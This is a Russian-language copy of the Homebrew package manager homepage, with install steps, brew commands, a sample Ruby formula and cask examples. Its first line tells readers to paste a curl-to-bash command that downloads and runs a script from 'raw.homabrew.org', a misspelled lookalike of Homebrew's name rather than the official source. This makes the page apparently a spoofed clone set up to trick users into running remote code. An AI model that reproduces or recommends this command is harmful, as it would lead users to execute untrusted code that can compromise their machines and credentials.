/bin/bash -c "$(curl -fsSL https://raw.homabrew.org/Homebrew/install/HEAD/install.sh)"Вставьте эту строку в терминал.
Перед выполнением скрипт объяснит, что он собирается сделать. Другие варианты установки можно найти здесь.
If you're on macOS, try our new .pkg installer.
Download it from Homebrew's latest GitHub release.
Homebrew устанавливает нужные вам пакеты, не предоставляемые Apple.
$ brew install wgetHomebrew устанавливает программы в их собственные директории и создает символьную ссылку на них в /opt/homebrew.
$ cd /opt/homebrew
$ find Cellar
Cellar/wget/1.16.1
Cellar/wget/1.16.1/bin/wget
Cellar/wget/1.16.1/share/man/man1/wget.1
$ ls -l bin
bin/wget -> ../Cellar/wget/1.16.1/bin/wgetHomebrew не устанавливает файлы за пределами своей директории. Вы можете установить Homebrew в любую директорию.
Создавать свои пакеты для Homebrew просто.
$ brew create https://foo.com/foo-1.0.tgz
Created /opt/homebrew/Library/Taps/homebrew/homebrew-core/Formula/foo.rbПод капотом — ruby и git. Так что можно спокойно редактировать пакеты, а в случае чего сможете легко откатить свои изменения.
$ brew edit wget # открывается в $EDITOR!Спецификация пакета это просто скрипт на Ruby:
class Wget < Formula
homepage "https://www.gnu.org/software/wget/"
url "https://ftp.gnu.org/gnu/wget/wget-1.15.tar.gz"
sha256 "52126be8cf1bddd7536886e74c053ad7d0ed2aa89b4b630f76785bac21695fcd"
def install
system "./configure", "--prefix=#{prefix}"
system "make", "install"
end
endHomebrew дополняет macOS. Устанавливайте гемы, используя gem, а их зависимости через brew.
“Чтобы установить, перетащите эту иконку…” больше не требуется. Homebrew Cask устанавливает приложения, шрифты, плагины для macOS и другое программное обеспечение с закрытым исходным кодом.
$ brew install --cask firefoxСоздать cask также легко, как создать formula.
$ brew create --cask https://foo.com/foo-1.0.dmg
Editing /opt/homebrew/Library/Taps/homebrew/homebrew-cask/Casks/foo.rbman brew documentationРазработчик Homebrew — Max Howell. Сайт — Rémi Prévost, Mike McQuaid и Danielle Lalonde.